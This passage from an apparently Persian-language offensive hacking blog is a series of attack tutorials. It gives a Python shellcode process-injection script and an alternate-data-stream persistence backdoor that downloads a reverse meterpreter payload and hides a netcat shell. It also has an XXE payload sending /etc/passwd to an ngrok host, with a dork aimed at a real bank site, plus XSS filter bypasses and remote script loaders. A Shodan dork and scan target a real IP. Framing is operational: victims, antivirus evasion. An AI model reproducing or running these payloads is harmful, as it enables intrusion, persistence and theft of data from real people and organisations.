اجرای عملیات خاصی تمرکز میکنیم فرض کنید میخواهید پولی رو از حسابی بردارید خب اینکار نیازی به ارتباط C&C نداره و میتونه با همین تاکتیک تزریق کد مستقیم از روی آسیب پذیری تزریق رو انجام و کاره ما انجام بشه روی سیستم قربانی این تکنیک میتونه Detection هارو دور بزنه,خب اینکار چطور قابل انجامه اینطور که ما با استفاده از DLL ها میتونیم در جریان یک پراسس خودمون رو دخیل و به اجرا دربیاریم کاری که ما در این مثال میکنیم اینه که کدی رو به یک پراسس تزریق میکنیم و میگیم فلان برنامه رو Kill کن اینکار یک نمونه هستش,خب حرکت اول اینه که با استفاده از متاسپلویت شلکد خودمون رو بسازیم

Open terminal
1.msfvenom -p windows/exec EXITFUNC=thread CMD=”cmd.exe /c taskkill /PID AAAA” -f c چند نکته کلیدی در ساخت این شلکد اینه که ما ۸ کاراکتر A به فیلد رو به رو PID اضافه کردیم این واسه اینه که اسکریپتی که خواهیم نوشت که عملیات تزریق رو شبیه سازی میکنه بتونه برای تعریف Kill کردن هر پراسسی که هکر میده رو کارکترهای A رو پیدا و به جای اونها مقدار عددی PID رو بزاره و اگر کمتر از ۸ کاراکتر شد بقیه رو Null خواهد گذاشت که درادامه در اسکریپت خواهیم دید

2.touch code_injector.py && nano code_injector.py Added

import sys from ctypes import * PAGE_EXECUTE_READWRITE = 0x00000040 PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF ) VIRTUAL_MEM = ( 0x1000 | 0x2000 ) kernel32 = windll.kernel32 pid = int(sys.argv[1]) pid_to_kill = sys.argv[2] if not sys.argv[1] or not sys.argv[2]: print “Code Injector: ./code_injector.py <PID to inject> <PID to Kill>” sys.exit(0) shellcode = \ “\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b” \ “\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99” \ “\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04” \ “\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb” \ “\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30” \ “\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09” \ “\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8” \ “\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff” \ “\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x74\x61\x73\x6b” \ “\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41\x41\x41\x41\x00” padding = 4 – (len( pid_to_kill )) replace_value = pid_to_kill + ( “\x00” * padding ) replace_string= “\x41” * 4 shellcode = shellcode.replace( replace_string, replace_value ) code_size = len(shellcode) h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) ) if not h_process: print “[*] Couldn’t acquire a handle to PID: %s” % pid sys.exit(0) arg_address = kernel32.VirtualAllocEx( h_process, 0, code_size, VIRTUAL_MEM, PAGE_EXECUTE_READWRITE) written = c_int(0) kernel32.WriteProcessMemory(h_process, arg_address, shellcode, code_size, byref(written)) thread_id = c_ulong(0) if not kernel32.CreateRemoteThread(h_process,None,0,arg_address,None,0,byref(thread_id)):

print “[*] Failed to inject process-killing shellcode. Exiting.” sys.exit(0) print “[*] Remote thread successfully created with a thread ID of: 0x%08x” % thread_id.value print “[*] Process %s should not be running anymore!” % pid_to_kill Save & Close

خب در قسمت اول یک دامنه آدرس برای اجرا یک رنج آدرس کلی آفست حافظه تعریف شده و بعد با استفاده از کتابخونه ctypes ماژول dll از کرنل استخراج میشه و در ادامه ۲تا ورودی argv گرفته میشه و یک شرط مبنی بر اینکه اگر از نوع integer داده نشود پیغامی بده و باز در ادامه شلکدی که ما بالا ساختیم رو درون یک متغییر میریزیم و در قسمت padding میایم و طول ورودی که کاربر به عنوان PID میده رو حساب میکنه و منهای ۴ میکنه,در متغییر replace_vlue مقدار padding رو بهش کارکتر \x00 که برابر با Null هست اضافه میکنه و باز متغییری تعریف میشه که ۴تا بایت A داخلش تعریف میشه خب حالا در قسمت shellcode مقدار shellcode با دو متغییر بالا Replace میشه یعنی کارکترهای PID ورودی میره جای ۴ تا A و باز در ادامه در متغییر h_Process امدیم از کرنل تابع OpenProcess رو صدا و بهش گفتیم متغییر که داخلش رنج افسک قرار داره رو داشته باش و بیا مقداره integer pid رو درونش پیدا کن زیرش هم یه شرطی تعریف شده که اگر پیدا نکردی پیغامی رو چاپ کن که PID مورد نظر رو پیدا نکرده,خب باز در ادامه داریم که از کرنل تابع VirtualAllocEx() صدا زده میشه و بهش گفته میشه که در متغییری که در ابتدا تعریف شده بود یعنی PAGE_EXECUTE_READWRITE بگرد و فضایی رو برای اجرای کد پیدا کن حالا میریم که داشته باشیم رایت کردن شلکد بر روی حافظه رو با استفاده از تابع WriteProcessMemory() تعریفش کردیم و بهش مقدار shellcode رو دادیم و آدرس آفست آزاد برای رایت در اون قسمت از حافظه که البته به اندازه شلکد فضا تعریف میکنه برامون تابع خب یعد از این هم نوبت به ساخت یک نخ یا Thread میشه که این پراسس در جریان قرار بگیره برای اینکار هم از تابع CreateRemoteThread() رو از کرنل صدا و بهش مقدار آدرس جایی که PID ما در نظرگرفته شده و پارامتر IpStartAddress این PID رو به اجرا در بیاری و TID هم ساخته بشه سر آخر هم وضعیت اسکریپت چاپ میشه اسکریپت رو که ذخیره کردید به این صورت اجرا کنید اول یک notpad++ باز کنید بعد PID اون رو بدست بیارید و بعد یک cmd باز کنید پراسس اونم به دست بیارید و به آرایش زیر اجرا کنید.

3.python code_injector.py (PID_Inject) (PID_Kill) در قسمت PID_Inject عدد مربوط به cmd رو بزنید در قسمت PID_Kill عدد مربوط به notepad++ رو بزنید و بعد اینتر کنید طبق تصویر پست برنامه باید بسته شه که اگر شد یعنی عملیات تزریق کد ما موفق بوده است.
https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createremotethread
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

#Alternate Data Streams(ADS) to Persistence
در برخی مواقع از امکانات و مزیت های سیستم عامل ویندوز میشه بر علیه خودش استفاده کرد,و با استفاده از تاکتیک OOB LCE حملات زیبایی رو ترتیب داد.

1.8K

edited

[12:56:47 AM]-

> Photo

از سیستم عامل ویندوز NT به بعد قابلیتی در سیستم عامل های ویندوز ایجاد شد به منظور توانایی ارتباط با HFS ها که به کاربر اجازه میده یک فایل تکی در دیسک و یک فایل DLL رو به عنوان یه ضمیمه به فایل اجرایی اصلی پیوست و مخفی کنیم البته من مثال یک فایل exe با dll رو زدم اما بدونید که هرفایل دیگری با فرمت فایل های دیگره دیگه قابل انجام هست از همین تکنیک واسه مخفی کردن یک پیام هم استفاده میکردند,خب حالا همین موضوع باعث شده که هکرها بتونن malware هایی رو در قالب یک فایل مثلا نصبی توجیه برای قربانی ارسال و به اجرا دربیارن اینکار خیلی سادس کافیه شما cmd رو باز کنید و یک فایل مثلا exe PE خودتون رو آدرس بدید و بلافاصله یه : و دوباره آدرس فایلی که میخواید مخفی کنید رو بدید فایل دوم ضمیمه فایل اول میشه

Open cmd
1.setup.exe:idm.dll خب این کارو میشه بصورت زیباتر با زبان پایتون انجام داد با نوشتن یک اسکریپت

Open terminal
1.touch hider.py && nano hider.py Added

import sys fd = open( sys.argv[1], “rb” ) dll_contents = fd.read() fd.close() print “[*] Filesize: %d” % len( dll_contents ) fd = open( “%s:%s” % ( sys.argv[2], sys.argv[1] ), “wb” ) fd.write( dll_contents ) fd.close() Save & Close
2.python hider.py calc.exe backdoor.dll خب بریم ادامه داستان آیا فکر میکنید از این ویژگی میشه به راحتی گذشت ؟ فکر نمیکنم کرم هکرها بزاره اکی پس بیشتر مانور میدیم روی این موضوع اگر شما دقت کرده باشید هکرها همیشه با مقوله persistence سرکار دارند و یک موضوع مهمی بشمار میاد چرا که حیات دسترسی طولی در دستان این مقوله هستش از ویژگی ADS میشه واسه این بحث هم استفاده کرد و بکدوری رو برای یک مدت طولانی در ویندوز قربانی مخفی کرد در همین راستا یک هکر باهوش اسکریپتی رو به زبان powershell نوشته که ما با استفاده از اون میتونیم بکدوری رو بر اساس این قابلیت بر روی سیستم عامل قربانی داشته باشیم کافیه شما بعد از گرفتن دسترسی این دستور رو بر روی خط فرمان قربانی بزنید

3.powershell.exe -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘https://github.com/enigma0x3/Invoke-AltDSBackdoor/blob/master/Invoke-ADSBackdoor.ps1&#8217;); Invoke-ADSBackdoor -URL https://github.com/enigma0x3/Invoke-Shellcode/blob/master/Invoke-Shellcode.ps1 -Arguments ‘Invoke-Shellcode -LHost (NoIP) -LPort 5555 -Payload windows/meterpreter/reverse_https -Force'” به همین راحتی یک backdoor با قابلیت ADS ساخته میشه روی سیستم قربانی اما چند نکته داره یک bk اول اینکه pentester ها با یک تکنیک جالب میتونن فایل هایی که از این مکانیزم استفاده میکنند شناسایی کنند نمونش رو تو تصویر پست با خط قرمز نشون دادم با استفاده از دستور dir (file.exe) /r یا /a میتونن ببینند که در فایل های در اون شاخه آیا فایلی هست که چیزی رو مخفی کرده باشه,نکته دوم اینکه این backdoor که به دست Matt Nelson ساخته شده میتونه از این نوع از رصدها در امان باشه؟ جواب بله هستش به دلیله اینکه این اسکریپت پایلود خودش رو در فولدر AppData میریزه که این فولدر hidden هستش به صورت پیشفرض زمانی که استعلام میگیره pentester محتویات این فولدر نمایان نمیشه نکته بعدی اینه که این دستور یک فایل VBS میسازه که این فایل کارش اجرا کردن payload هستش نکته بعدی این که این فایل VBS میاد کلیدی رو با مقدار

HKCU:\Software\Microsoft\Windows\CurrentVersion\Run میسازه و اسمشو میزاره Update که این کار برای به اجرا در آمدن خود فایل VBS به دست فایل wscript.exe که فایل اجرایی فایل فرمت VBS هستش که به محض یک بار خاموش روشن شدن سیستم عامل کلید registry به اجرا درمیاد که محتویاتش اینه که فایل VBS رو با استفاده از wscript.exe اجرا کنه و فایل VBS محتویاتش اینه که پایلود مخفی شده که به یک فایل text که نام randomcase رو با خودش داره رو اجرا کنه به این ترتیب ما میتونیم یک backdoor مطمعن رو با این تکنیک روی قربانی خودمون داشته باشیم فراموش نکنید که این اسکریپت public هستش و آنتی ویروس ها رصد کردنش واسه همین حتمی از تکنیک های bypassAV هم استفاده کنید که در کناره هم یک مکانیزم مطمعنی رو پیاده خواهند کرد,یک مثال دیگه ای که در عین سادگی میتونه کار آمد باشه چسباندن فایل nc.exe به فایل calc.exe با نام svchost.exe

1.C:\>type C:\nc.exe > C:\windows\system32\calc.exe:svchost.exe برای اجرای فایل اجرایی nc.exe هم باید دستور زیر رو وارد کنید به همین راحتی.

2.C:\>start /B C:\windows\system32\calc.exe:svchost.exe -d -L -p 2222 -e cmd.exe https://github.com/enigma0x3/Invoke-AltDSBackdoor/blob/master/Invoke-ADSBackdoor.ps1

#Xml External Entity
آسیب پذیری که سالها پیش با منجر به هک شدن ناسا خودنمایی کرد و امروزه هم به چشم زیاد میخوره.جدیدا این آسیب پذیری بر سر پلتفورم های ویندوز هم پدید آمده…

قبل از اینکه بریم سراغ تشریح این آسیب پذیری باید در مورد اینکه این آسیب پذیری کجاها و چرا رخ میده کمی صحبت کنیم خب همونطور که از اسمش پیداس این آسیب پذیری مربوط به مفسر میانی بینه دو دیتابیس هستش به نام Entitty framework که یکی از پر استفاده ترینش زبان xml هستش آیا ساختارهای دیگه ای هم وجود داره بله مثل SOAP ها که محصول انحصاری مایکروسافت برای IIS هستش که قابلیت ارتباط هم با Client داره هم دیتابیس سرورهای دیگه که در اون فریمورک هم مثل خود xml این آسیب پذیری میتونه تزریق بشه اما اولین بحثی که پیش میاد اینه که چطور پل های ارتباطی XML یک سایت رو پیدا کنیم؟ خب واسه اینکار میتونیم از google hacking استفاده کنیم مثل:

Dork: inurl:xml site:bmi.ir وقتی از این دورک استفاده کنید این لینک رو خواهید دید 🙂

https://my.bmi.ir/portalserver/portals/ibankportal.xml?pc=false

اول اینکه این page xml مثلا بانک ملی رو باید بررسی کنید ببینید با کدوم نرم افزار داره ارتباط میگیره که من نرفتم تو بحرش ولی گمان میکنم با app های موبایلی خودش ارتباط داره نکته بعدی اینه که Policy های این صفحه و تابع هاش چیه ؟ منظورم اینه که داره چه اطلاعاتی رو از دیتابیس حالا مثلا به app خودش میده ؟ که اینم با یک ارسال request post با burpsuite میشه فهمید از این پایلود default هم استفاده کنید

Open terminal
1.ngrok http 9090 Copy http://(DNS)ngrok.io:(PORT)
Encoding BASE64 & Copy (BASE64-LIN)
LIN (PHP)

<!ENTITY % p1 SYSTEM “php://filter/read=convert.base64-encode/resource=/etc/passwd”> <!ENTITY % garbage “<!ENTITY % gar SYSTEM ‘AAA…500x…AAA’>”> <!ENTITY % p2 “<!ENTITY % p3 SYSTEM ‘http://(DNS)ngrok.io:(PORT)/?%file;’>”&gt; ببینید من واسه این پنتست از Curl استفاده کردم اما شما با burpsuite هم میتونید اینکارو کنید فرقی نداره,ببینیم من میتونستم در مورد ساختار xml بیشتر صحبت کنم اما این چیزا تو نت ریخته و من میخوام مطالب کمتر گفته شده رو مطرح کنم همین قدر الان بدونید که برای ارتباط دوتا دیتابیسی که یکی مثلا با ساختار mysql هست و دیگری با mssql اینا ساختار query هاشون فرق داره و میخوان با هم ارتباط بگیرن مثلا database بانک با سایت بورس ایران اتوماتیک میخواد ارتباط بگیره و اطلاعات مشخص شده ای رو بدست بیاره اینجا از زبانی استفاده میکنند که مشترک بین همه بنام xml اما در برخی موارد ما نگاه میکنیم میبینیم این وسط WAF نمیزاره این Request سالم برسه به مقصد خودش اینجا میان از روش Out of Bond استفاده میکنند که اگر باز بایپس نکرد بحث encoding پایلود رو هم بشون اضافه میکنن یه نمونه از این پایلود هارو نشون میدم,خب قدم اول تعریف سه ENTITY هستش که من اینجا هم برای قربانی ویندوز سروری مثال آوردم هم برای لینوکسی نکته بعدی اینه که ما از Convertor php استفاده میکنیم تا پایلود اصلی ما که میشه LFI که میخواد /etc/passwd رو برای ما بخونه رو بصورت encode base64 در بیاره و در ادامه میایم اول و آخر پایلود رو نشانه گذاری میکنیم و باز در ادامه میایم به متغییر p2 میگیم که تو p3 رو باس بخونی از روی این دامنه که بت دادم دامنه هم روی DNS NGROK بالا امده

2.touch PenTest && nano PenTest Added

<?xml version=”1.0″ encoding=”utf-8″?> <!DOCTYPE xxe [ <!ENTITY % ExtDTD SYSTEM “php://filter/read=convert.base64-decode/resource=data:,(BASE64-LIN)”> %ExtDTD; %p2; %p3; ]> <methodCall> <methodName></methodName> </methodCall> Save & Close
3.curl –cookie “(Cookie)” “http://(XML-RPC)&#8221; –data “‘cat PenTest'” حالا نوبت به تعریف DTD میرسه که حاوی Request هست که میره و از روی نقطه سرور پایلود هارو صدا میکنه چطور ؟ اگر دقت کرده باشید ما یک ENTITY تعریف کردیم اینجا که فقط کارش اینه که اون سه تا Entity بالایی که ما تعریف کردیم و تبدیل به BASE64 کردیم و در قسمت BASE64-LIN پیست کردیم رو ارسال میکنه روی وب سرور و در ادامه میاد اون سه تا Entity رو دونه دونه صدا و اجرا میکنه وقتی که اون سه تا اجرا میشن توی Response به شما بایداطلاعات داخل etc/passwd/ رو نمایان کنه اونم باز بصورت base64 که شما دیکد و استفاده میکنید برای درک بهتره این موضوع حتمی تحقیقات کنید و منم تا اونجا که تونستم سیع کردم واضح شرح بدم یه نکته دیگه اولین قدم استفاده از این آسیب پذیری اینه که شما پایلود چک بفرستید ببینید این باگ رو داره یا نه نکته بعدی اینه که با این آسیب پذیری حتی RCE Meterpreter هم میشه زد و حتی DOS که این نوع از پایلود هاشو سرچ کنید خواهید دید.
https://www.acunetix.com/blog/articles/xml-external-entity-xxe-vulnerabilities/

#Bypass XSS Filter Browser IE
امروزه یکی از راه های جلوگیری از آسیب پذیری XSS بر روی وبسایت های آسیب پذیر مکانیزم هایی هستند مانند Sandbox Filter XSS مایکروسافت که…

بله که مانع پایلود ریزی هکرها میشه و به نوعی از سمت خود کلاینت مقابله میکنه با این سبک از آسیب پذیری که خب چالشیه واسه هکرها که حتمی باید دور بزنن این مکانیزم هارو اما بحث اینجاس که چطور خب شما اول برای اینکار باید درک کنید که مکانیزم جلوگیری این ابزارها وابسته به مرورگر چطوره و چطور عمل میکنه در مورد این موضوع بحث زیادی میشه کرد که این پست جاش نیست پس من خلاصه اگه بخوام بگم اینطوره که از روی Whitelist خودشون میان شناسایی میکنن ورودی های شمارو روی URL ویا Request به سمت وبسایت رواگه بخوام واضح تر بگم اگر دقت کرده باشید کسی نمیاد بر روی URI یک سایت کلمه src رو بکار ببره و این کلمه یک کلمه عجیب میتونه تلقی بشه رو این حساب اگر من واسه هوش مصنوعی ابزار Anti XSS خودم اگه تعریف کردم توی Request و یا URL/URI این کلمه رو دیدی بدون که قرار Script نویسی ما بین صفحات وبسایت بشه خب تا اینجا اوکی اما چطور میشه این هوش مصنوعی ماشینی و یا نرم افزاری رو دور زد خب جواب تقریبا سادس با به هم ریختن پایلود به نوعی که فقط شما و اون وبسایت تارگت شما بفهمه الگو پایلودتون رو که اینجا اون مکانیزمی که میخواد شناسایی کنه و جلو شمارو بگیره شاس بخوره 🙂 خب حالا من اگه برسی کنم به Standard Encoding های زبان HTML5 خواهم فهمید که طرف مقابل منی که میخوام باش حرف بزنم چه زبون های رو پشتیبانی میکنه برای نمونه الگوریتم ROT-13 میتونه گزینه خوبی باشه پس من مثلا پایلود خام خودم رو به این الگوریتم آغشته میکنم قبل از اینکه بریم سراغ پایلود باس در مورد خود الگوریتم باید بگم که عملکردش اینطوره که میاد کلمات رو در آرایش نوشتاریش هر خونه ای که هستند اون رو با ۱۳ کلمه فاصله دار ازکلمه اولی عوض میکنه, اما روش هایی دیگه ای هم برای باپس Anti XSS ها که به اسم های مختلفی شناخته میشن هم هست مثل In of band که درون مفسرهایی که یک مرورگر پشتیبانی میکنه میشه سويیچ کرد این یه نمونه

Bypass XSS Filter IE
<xml id=cdcat><note><to>%26lt;span style=x:exp<![CDATA[r]]>ession(alert(3))%26gt;hello%26lt;/span%26gt;</to></note></xml><table border=%221%22 datasrc=%22%23cdcat%22><tr><td><span datafld=%22to%22 DATAFORMATAS=html></span></td></tr></table> که منجر به تزریق XSS خواهد شد به واسطه xml و درونش html و درونش javascript توام با Encoding خب پایلود تو در تویی شده اما همین تو در تو بودن باعث دور خوردن Detection های XSS هم میشه آیا روش های دیگه ای هم هست آره جیگر تا دلت بخواد یه چنتا نمونه دیگه میزارم حال کنیم دوره هم 🙂

Default Payload:
https://target.com/archive?service_id=3&cat_id=<script src=http://attacker/evil.js></script> Hexadecimal Encoding:
https://target.com/archive?service_id=3&cat_id=%3Cs%26%23×63%3Bri%26%23×70%3Bt%20s%26%23×72%3Bc%3Dhttp%3A%2F%2Fatta%26%23×63%3Bker%2Fevil%2Ejs%3E%3C%2Fs%26%23×63%3Bri%26%23×70%3Bt%3E Decimal Encoding:
https://target.com/archive?service_id=3&cat_id=%3Cs%26%2399%3B%26%23114%3Bi%26%23112%3Bt%20s%26%23114%3B%26%2399%3B%3Dht%26%23116%3Bp%3A%2F%2Fa%26%23116%3Bta%26%2399%3Bker%2Fevil%2Ejs%3E%3C%2Fs%26%2399%3B%26%23114%3Bi%26%23112%3Bt%3E Other
https://target.com/archive?service_id=3&cat_id=<script s&#114;&#99;=ht&#116;p://a&#116;ta&#99;ker/evil.js></s&#99;&#114;i&#112;t>”></iframe> اینا فقط نمونه هایی هستند تا به شما نشون بدن دایره Supporting HTML5 ویا خود Javascript واقعا زیاده تازه به این موضوع انواع پایلود هارو هم اضافه کنید که واقعا تو زبانه JS زیاده اینم چنتا نمونه از پایلودها با توابع مختلف

&lt;img src=x onerror=alert(String.fromCharCode(88,83,83))&gt ‘&gt;&lt;/a&gt;&lt;script&gt;alert(&quot;XSS&quot;);&lt;/script&gt; <svg><desc><![CDATA[</desc><script>alert(1)</script>]]></svg> <script>//&a=%0Avar c;/*&a=*/c=’a’;//&a=%0Ac%2B=’l’/*&a=*/c%2B=’e’//&a=%0Ac%2B=’r’/*&a=*/c%2B=’t’//&a=%0Ac%2B='(‘/*&a=*/c%2B=’1’//&a=%0Ac%2B=’)’/*&a=*/c%2B=’;’//&a=%0Aeval/*&a=*/(c)//&a=</script> <0123><b x=”x”>avi</b></0123><0123<script>//><b x=”x”>avi</b></0123<script>//> <\x00img src=’1′ onerror=alert(0) /> به نظر من زبان Javascript رو حتمی یاد بگیرید تا کارتون خیلی راحتر و با قدرتر پیش بره که البته برای بحث Exploitation هم خیلی لازمه امیدوارم مؤثر بوده باشه این پست,بحث در مورد XSS هم زیاده که در پست های بعدی به ابعاد دیگه این آسیب پذیری خواهم پرداخت…
https://blogs.msdn.microsoft.com/dross/2008/03/10/xss-focused-attack-surface-reduction/
https://fa.wikipedia.org/wiki/روت۱۳

#XSS Persistence Attacks
انواع روش های سؤاستفاده و پسا کشف آسیب پذیری که چه تکنیک هایی وجود داره و حتی در گونه های دیگه تزریق کدهای جاوا اسکریپتی در آسیب پذیری XSS.

 

خب اول صحبت هام میخوام این نکته رو بیان کنم که ماها بیشترمون فکر میکنیم XSS یک آسیب پذیری ضعیف و ساده هستش در حالیکه بر عکس هم خطرناک هم بسیار رخ میده و هم روش های مختلفی داره بهره برداری از اون روش های مانند XSS Tunneling-XSS Worm-XSS DOM هستش که میتونه در برخی موارد حملات سمت سرور رو هم به همراه بیاره مثلا روش بهره برداری XSS Worm میتونه با تزریق در هسته یک مفسر کدی رو بر روی سروری که مفسرهای XMLHttpRequest میتونه ارتباط بگیره با runner فرمت HTA و خب همین موضوع موجب میشه پایلودی به اجرا بشه در آورد یا مثلا شما میتونید با Redirection XSS انجام بدید و دامنه ای مثل دامنه قربانی رو با تکنیک Homography همون DNS رو بالا بیارید و با ابزارهایی مثل Httrack وبسایت قربانی رو کپی و بالا آورده و کاربرهایی که صفحه آسیب پذیر سایت اصلی رو Seen میکنن رو در حالت Refresh بیارید رو سایت خودتون و خب حالا میخواید Phishing بزنید یا هرچی

http://127.0.0.1/url=/index.php?iframe=http://www.turkuamk.fi اما روش های دیگه هم وجود داره که شما بتونید حملات خوبی رو انجام بدید مثل استفاده از تابع document.onkeypress هستش که میتونه برای شما log های صفحه کیبورد رو ضبط کنه و یا دزدیدن token و cookie های کاربرها که به اصطلاح grabbers بهشون گفته میشه هم وجود داره که خب مکانیزم این سبک از تکنیک ها هم استفاده از تابع document.cookie هستش که البته با استفاده از XMLHttpRequest مقدار document.cookie رو میشه به یک صفحه php ارسال کرد که حالا اون صفحه php دریافت کننده بر روی سرور ما هستش و cookie های کاربرهایی که صفحه آسیب پذیر رو بارگزاری میکنند رو به سرور ما ارسال کنه کسانی که میخوان در خصوص حملات سمت سرور XSS تحقیق کنن میتونن به این نکته اشاره کنند که در برخی موارد هکرها تونستن با ترکیب کردن رندر سرور با چهارچوب جاوا اسکریپت چطور میتونه باعث حملات XSS بشه,اما در خصوص حملات XSS Worm هم باید گفت که این سبک از حملات هم با استفاده از رمز نگاری سطح باینری Polymorphic تونستن شلکد خودشون رو بصورت پنهان و به سرعت انتشار بدن بر روی کاربرها,اما حملات قویتری هم میتوان کرد مثلا گرفتن دسترسی shell از کاربر ها با استفاده از ساختن Element script

<svg/onload=setInterval(function(){with(document)body.appendChild(createElement(“script”)).src=”//NoIP:5555″},100);> 1.nc -nvlp 5555 نمونه ای از این سبک پایلود اما تاکتیک های دیگه ای هم وجود داره برای تزریق پایلود مثل استقاده از فرمت Flash که بر بستر زبان ActionScript میتوان با مفسر جاوا اسکریپت مرورگرها ارتباط گرفت برای اینکار کامپایلر MTASC رو از مایکروسافت دانلود کنید و از طریق cmd صداش بزنید

Open notepad++

class example { function attack () { } static function main(mc) { getURL(“javascript:alert(‘XSS Attack!!!!!!!!!!’)”); } Save & Close(example.as)
Open cmd
1.mtasc.exe example.swf –main –header 1:1:1 example.as
حالا بر روی سرور خودتون فایل example.swf رو ذخیره و با استفاده از فرمان src بر روی سایت آسیب پذیر فایل فرمت فلش رو صدا بزنید تا ببینید تزریق XSS به وصله فایل فرمت swf چگونه هستش, و اما روش بعدی با استفاده از reader editor شما میتونید کد JS وصله کنید به فایل فرمت PDF کافیه یک PDF رو باز کنید و به قسمت Editor Reader برید و این کد رو ریخته و OK کنید

app.alert(“XSS attack!!!!”); و باز به همون سبک صدا زدن فایل های PDF این فایل رو روی سرورتون Upload و روی سایت آسیب پذیر صدا کنید,اما استفاده از تکنیک XSS Tunnelingچقدر قدرت مانور داره ؟ اگر به این تکنیک دقت کرده باشید شرایطی رو نیاز داره برای پیاده سازی مثل استفاده نکردن وبسایت از پروتکل https چراکه قراره این تکنیک به نوعی پروکسی میانی بر روی مرورگر قربانی خود بزنه یعنی با استفاده از ابزار XSS Shell که برای بحث XSS Tunneling وجود داره علاوه بر tunnel http proxy که برای قربانی خودش پنل مدیریتی با دستورات مختلف از لاگرها Exection ها و Visit link ها هم هست در نتیجه میشه به عنوان ابزار خوبی میتونه باشه البته تزریق shellcode مربوط به tunnel http proxy که برای مرورگر زده خواهد شد و ارتباط کاربرها با وبسایت رو به وسیله ارتباط با سیستم هکر انجام خواهد شد که خب به تب هکر میتونه transfer های کاربرها رو ببینه

http://example.com/q=”><script src=”http://xssshellserver/xssshell.asp”></script&gt; به محض ارتباط با shell asp روی سرور شما میتوانید از برنامه Xss tunneling استفاده کنید و پورتی رو باز برای proxy listing داشته باشید و برنامه رو روی حالت listing قرار بدید تا ارتباط قربانی ها با سرور شما جریان پیدا کنه.
https://github.com/portcullislabs/xssshell-xsstunnell

#UPnP(SSDP-SOAP) Vulnerability
در طول تاریخ فضای سایبری نفوذ به پروتکل های مشترک و همه گیر بسیار مورد توجه بوده است که ما در این پست به برخی از اون ها میپردازیم.

یک پروتکل استاندارد است که ارتباط بین کامپیوترها و دستگاه های فعال در شبکه را آسان می کند. این پروتکل به صورت پیشفرض روی میلیون ها سیستم شامل روتر، پرینترها، سرورهای رسانه ای، دوربین های آنلاین، تلویزیون های هوشمند، سیستم های اتوماسیون خانگی و سرورهای ذخیره سازی شبکه فعال است. امکان پشتیبانی از به صورت پیشفرض روی سیستم عامل مایکروسافت، مک و بسیاری از توسعه های لینوکس فعال است.
بیشتر بر 4 نوع پیاده سازی تمرکز دارد

بیش از 73% از تمام UPnP های شناسایی شده از یکی از 4 مدل کیت توسعه نرم افزاری یا همان Softwaer Development Kit یا همان SDK مشتق شده است. این SDKها عبارتند از:

پرتابل برای دستگاه های
MiniUPnP

یک پشته تجاری که توسط Broadcom توسعه داده شده است.
یک کیت تجاری دیگر که البته نتوانستیم به توسعه دهنده ای خصوصی برای آن برسیم.

تمرکز شدید در استفاده از این نوع پیاده سازی‌ها ذاتاً باعث افزایش تأثیرات مخرب هر نوع آسیب پذیری ای می شود که در هر کدام از آن ها پیدا شود (به دلیل شیوع استفاده از آن ها)

آسیب پذیری قابل اکسپلویت در Portable SDK برای دستگاه های UPnP با پارسر SSDP

آسیب پذیری مربوط به CVE-2012-5958 و CVE-2012-5959 تمام نسخه های Intel SDK و تمام نسخه های Portable SDK تا نسخه 1.6.18 را تحت تأثیر قرار می دهد.

آسیب پذیری پروتکل SSDP یا همان Simple Service Discovery Protocol

در زمان بررسی کدهای اصلی libupnp به 8 آسیب پذیری رسیدیم. اگرچه تمام این رخنه ها در نسخه های مختلف قابل استفاده نیست اما CVE-2012-5958 و CVE-2012-5959 بیانگر شرایط قابل اکسپلویت پارسر SSDP روی تمام نسخه های Intel SDK و تمام نسخه های پایین تر از 1.6.18 برنامه Portable SDK می باشد.

در نسخه 1.3.1 از Portable SDK در دستگاه های UPnP، کد پارسر SSDP در آدرس upnp/src/ssdp/ssdp_serve.c وجود دارد. تابع unique_service_name() /*function وظیفه پارس درخواست های SSDP وارد شونده و پرکردن فیلدهای ساختار جهت نمایش و ارائه یک رخداد را دارد. در قطعه کد زیر رخنه های امنیتی برنامه کاملا قابل رویت است و آن را با رنگ زرد برجسته کرده ایم. توجه داشته باشید که متغیر cmd به رشته ای اشاره دارد که پایان آن از راه دور و خارج از کد مشخص می شود. ساختار Evt -که مخفف event یا همان رخداد است- شامل یک بافر رشته ای با طول مشخص شده و ثابت بوده و به وسیله فراخوانی تابع در پشته ذخیره می شود.
Dork Shodan: UPnP country:”IR” port:”1900″ Open terminal
1.msfconsole -q -x “use auxiliary/scanner/upnp/ssdp_msearch;set RHOSTS 176.65.183.47;run;exit” [*] Sending UPnP SSDP probes to 176.65.183.47->176.65.183.47 (1 hosts)
[*] 176.65.183.47:1900 SSDP Allegro-Software-RomUpnp/4.07 UPnP/1.0 IGD/1.00 | http://192.168.1.1:5555/DeviceDescription.xml | uuid:11111111-0000-c0a8-0101-28285dc16f68::upnp:rootdevice
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

اینم یک نمونه از دیوایس های دارای پروتکل UPNP و سرویس .SSDP
https://github.com/dhishan/UPnP-Hack

#DOM Based XSS
نوع سومی از روش های تزریق کداسکریپت به صفحات سمت کاربر قربانی که تمرکز این روش بر روی ابجکت های JS هستش.

